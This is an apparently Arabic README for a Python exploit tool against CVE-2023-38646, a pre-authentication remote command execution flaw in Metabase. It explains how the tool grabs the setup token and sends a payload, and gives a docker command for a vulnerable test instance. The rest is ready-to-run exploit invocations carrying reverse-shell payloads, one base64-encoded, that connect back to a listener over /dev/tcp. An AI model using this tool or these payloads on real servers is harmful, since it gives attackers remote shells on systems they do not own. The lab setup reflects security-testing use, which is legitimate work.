
سكربت بايثون لاستغلال ثغرة CVE-2023-38646 في Metabase، تنفيذ أوامر عن بُعد قبل المصادقة عبر حقن SQL
سكربت بايثون لاستغلال ثغرة CVE-2023-38646 في Metabase، وهي ثغرة تنفيذ أوامر عن بُعد قبل المصادقة (Pre-Auth RCE) عبر حقن SQL.
سيقوم السكربت بإرسال طلب GET إلى /api/session/properties للحصول على رمز الإعداد وتقييم قابلية استغلال الهدف. إذا كان الهدف عرضة للثغرة، فسيقوم السكربت بطباعة رمز الإعداد، وإلا فسيخرج بعد رسالة خطأ.
إذا تم استخدام الخيار -x وكان الهدف عرضة للثغرة، فسيستخدم الحمولة المقدمة (payload) لمحاولة استغلال الثغرة.
مزيد من المعلومات في هذا الشرح الرائع من الفريق الذي اكتشف الثغرة: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
إذا لزم الأمر، يمكنك تشغيل بيئة اختبار بسرعة في حاوية docker باستخدام هذا الأمر:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
بعد زيارة http://127.0.0.1:3000/ لإكمال الإعداد وتشغيل مستمع (listener)،
يمكنك استغلال RCE بشيء من هذا القبيل:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
أو يمكنك فقط الحصول على قشرة عكسية (reverse shell) مشفرة بـ base64 من خلال زيارة revshells.com